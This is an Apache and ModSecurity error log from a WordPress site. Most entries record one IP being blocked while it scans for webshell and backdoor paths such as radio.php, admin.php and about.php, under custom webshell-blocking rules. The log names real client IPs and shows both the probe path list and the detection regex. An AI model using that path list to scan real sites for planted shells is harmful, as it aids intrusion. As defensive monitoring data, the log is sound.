[Fri Feb 27 21:42:05.027139 2026] [:error] [pid 49306:tid 49331] [client 20.104.124.39:32275] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaGfLfnSUDZue59Px9s7cQAAAVc"]
[Fri Feb 27 21:42:05.594137 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32288] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaGfLcKBhrfI6KNv9Rj91QAAAA8"]
[Fri Feb 27 21:42:06.449836 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:29989] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaGfLsKBhrfI6KNv9Rj92AAAABg"]
[Fri Feb 27 21:42:07.147574 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32268] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaGfL8KBhrfI6KNv9Rj92gAAABE"]
[Fri Feb 27 21:42:07.645728 2026] [:error] [pid 52073:tid 52076] [client 20.104.124.39:29954] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaGfL4a650YPyxXVeRaGzQAAAYA"]
[Fri Feb 27 21:42:08.316268 2026] [:error] [pid 62998:tid 63017] [client 20.104.124.39:32250] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaGfMFQeueXZDUmoLollawAAAQ8"]
[Fri Feb 27 21:42:08.974328 2026] [:error] [pid 49306:tid 49324] [client 20.104.124.39:32240] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaGfMPnSUDZue59Px9s7fAAAAVA"]
[Fri Feb 27 21:42:09.539072 2026] [:error] [pid 49306:tid 49310] [client 20.104.124.39:32285] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaGfMfnSUDZue59Px9s7gAAAAUI"]
[Fri Feb 27 21:42:10.266144 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32202] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaGfMsKBhrfI6KNv9Rj95gAAAAQ"]
[Fri Feb 27 21:42:11.097481 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32207] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaGfM8KBhrfI6KNv9Rj96gAAABY"]
[Fri Feb 27 21:42:11.918736 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:30000] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaGfM8KBhrfI6KNv9Rj9_AAAAAs"]
[Fri Feb 27 21:42:12.700207 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32235] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaGfNMKBhrfI6KNv9Rj-CgAAABA"]
[Fri Feb 27 21:42:13.217946 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32482] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaGfNcKBhrfI6KNv9Rj-DwAAAAA"]
[Fri Feb 27 21:42:13.807403 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32243] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaGfNcKBhrfI6KNv9Rj-FgAAAAM"]
[Fri Feb 27 21:42:14.758373 2026] [:error] [pid 49306:tid 49320] [client 20.104.124.39:30015] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaGfNvnSUDZue59Px9s7kAAAAUw"]
[Fri Feb 27 21:42:35.682122 2026] [:error] [pid 62998:tid 63024] [client 188.165.95.76:53806] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.165.95.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGfS1QeueXZDUmoLollrAAAARY"]
[Fri Feb 27 21:42:37.798277 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 20.104.124.39:32313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 21:42:48.527595 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32486] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaGfWMKBhrfI6KNv9Rj_GwAAAAc"]
[Fri Feb 27 21:42:49.655463 2026] [:error] [pid 52073:tid 52094] [client 20.104.124.39:32433] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaGfWYa650YPyxXVeRaINgAAAZI"]
[Fri Feb 27 21:42:50.582039 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32385] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaGfWsKBhrfI6KNv9Rj_IAAAAAs"]
[Fri Feb 27 21:42:51.553867 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32400] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaGfW8KBhrfI6KNv9Rj_KgAAAAw"]
[Fri Feb 27 21:42:51.809442 2026] [:error] [pid 49306:tid 49319] [client 20.104.124.39:32400] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaGfW_nSUDZue59Px9s8UQAAAUs"]
[Fri Feb 27 21:42:52.435449 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:29980] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaGfXMKBhrfI6KNv9Rj_OQAAAAc"]
[Fri Feb 27 21:42:53.326646 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:29957] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaGfXcKBhrfI6KNv9Rj_QwAAABg"]
[Fri Feb 27 21:42:53.847448 2026] [:error] [pid 49306:tid 49322] [client 20.104.124.39:32258] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaGfXfnSUDZue59Px9s8VQAAAU4"]
[Fri Feb 27 21:42:54.369754 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32485] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaGfXoa650YPyxXVeRaIXQAAAZc"]
[Fri Feb 27 21:42:54.844798 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32262] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaGfXoa650YPyxXVeRaIYgAAAZE"]
[Fri Feb 27 21:42:55.404877 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32300] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaGfX4a650YPyxXVeRaIZwAAAYM"]
[Fri Feb 27 21:42:56.256813 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32466] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaGfYIa650YPyxXVeRaIbwAAAYY"]
[Fri Feb 27 21:42:56.874092 2026] [:error] [pid 54231:tid 54252] [client 20.104.124.39:32318] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaGfYOTvb5AeyJCdY7ApVAAAAFI"]
[Fri Feb 27 21:42:57.454474 2026] [:error] [pid 54231:tid 54245] [client 20.104.124.39:32489] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaGfYeTvb5AeyJCdY7ApVQAAAEs"]
[Fri Feb 27 21:42:57.968461 2026] [:error] [pid 52073:tid 52088] [client 20.104.124.39:32476] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaGfYYa650YPyxXVeRaIdgAAAYw"]
[Fri Feb 27 21:42:58.569816 2026] [:error] [pid 54103:tid 54194] [client 20.104.124.39:32270] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaGfYuvG4MPCmE0B2sC3tAAAANc"]
[Fri Feb 27 21:42:59.035827 2026] [:error] [pid 49306:tid 49313] [client 20.104.124.39:32390] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaGfY_nSUDZue59Px9s8fAAAAUU"]
[Fri Feb 27 21:42:59.711586 2026] [:error] [pid 49306:tid 49323] [client 20.104.124.39:32457] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaGfY_nSUDZue59Px9s8ggAAAU8"]
[Fri Feb 27 21:43:00.170197 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:32260] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaGfZPnSUDZue59Px9s8hQAAAUY"]
[Fri Feb 27 21:43:00.872992 2026] [:error] [pid 49306:tid 49327] [client 20.104.124.39:32405] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaGfZPnSUDZue59Px9s8jAAAAVM"]
[Fri Feb 27 21:43:01.334717 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32264] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaGfZcKBhrfI6KNv9Rj_fQAAAAA"]
[Fri Feb 27 21:43:01.826116 2026] [:error] [pid 54231:tid 54244] [client 20.104.124.39:32379] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaGfZeTvb5AeyJCdY7ApXgAAAEo"]
[Fri Feb 27 21:43:02.291881 2026] [:error] [pid 49306:tid 49321] [client 20.104.124.39:32499] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaGfZvnSUDZue59Px9s8lAAAAU0"]
[Fri Feb 27 21:43:02.925989 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32221] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaGfZsKBhrfI6KNv9Rj_iAAAABQ"]
[Fri Feb 27 21:43:03.573508 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32200] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaGfZ8KBhrfI6KNv9Rj_jAAAAAw"]
[Fri Feb 27 21:43:04.089473 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32460] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaGfaMKBhrfI6KNv9Rj_lgAAABA"]
[Fri Feb 27 21:43:04.575324 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32206] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaGfaMKBhrfI6KNv9Rj_nAAAAA4"]
[Fri Feb 27 21:43:05.058463 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:30014] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaGfaYa650YPyxXVeRaIlwAAAYE"]
[Fri Feb 27 21:43:05.720946 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:32398] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaGfacKBhrfI6KNv9Rj_rgAAAAE"]
[Fri Feb 27 21:43:06.346776 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32507] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaGfaoa650YPyxXVeRaInwAAAYM"]
[Fri Feb 27 21:43:06.965580 2026] [:error] [pid 62998:tid 63018] [client 20.104.124.39:32271] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaGfalQeueXZDUmoLolmHAAAARA"]
[Fri Feb 27 21:43:07.644908 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32406] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaGfa4a650YPyxXVeRaIqAAAAYY"]
[Fri Feb 27 21:43:08.277049 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32510] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaGfbIa650YPyxXVeRaIsgAAAZE"]
[Fri Feb 27 21:43:09.000233 2026] [:error] [pid 62998:tid 63025] [client 20.104.124.39:32225] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaGfbFQeueXZDUmoLolmIQAAARc"]
[Fri Feb 27 21:43:09.491431 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32484] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaGfbcKBhrfI6KNv9Rj_2QAAAA8"]
[Fri Feb 27 21:43:10.061897 2026] [:error] [pid 52073:tid 52083] [client 20.104.124.39:32440] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaGfboa650YPyxXVeRaIxAAAAYc"]
[Fri Feb 27 21:43:10.502842 2026] [:error] [pid 52073:tid 52089] [client 20.104.124.39:32455] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaGfboa650YPyxXVeRaIyAAAAY0"]
[Fri Feb 27 21:43:11.048969 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32462] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaGfb8KBhrfI6KNv9Rj_7QAAAAk"]
[Fri Feb 27 21:43:11.579323 2026] [:error] [pid 49306:tid 49312] [client 20.104.124.39:32253] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaGfb_nSUDZue59Px9s8swAAAUQ"]
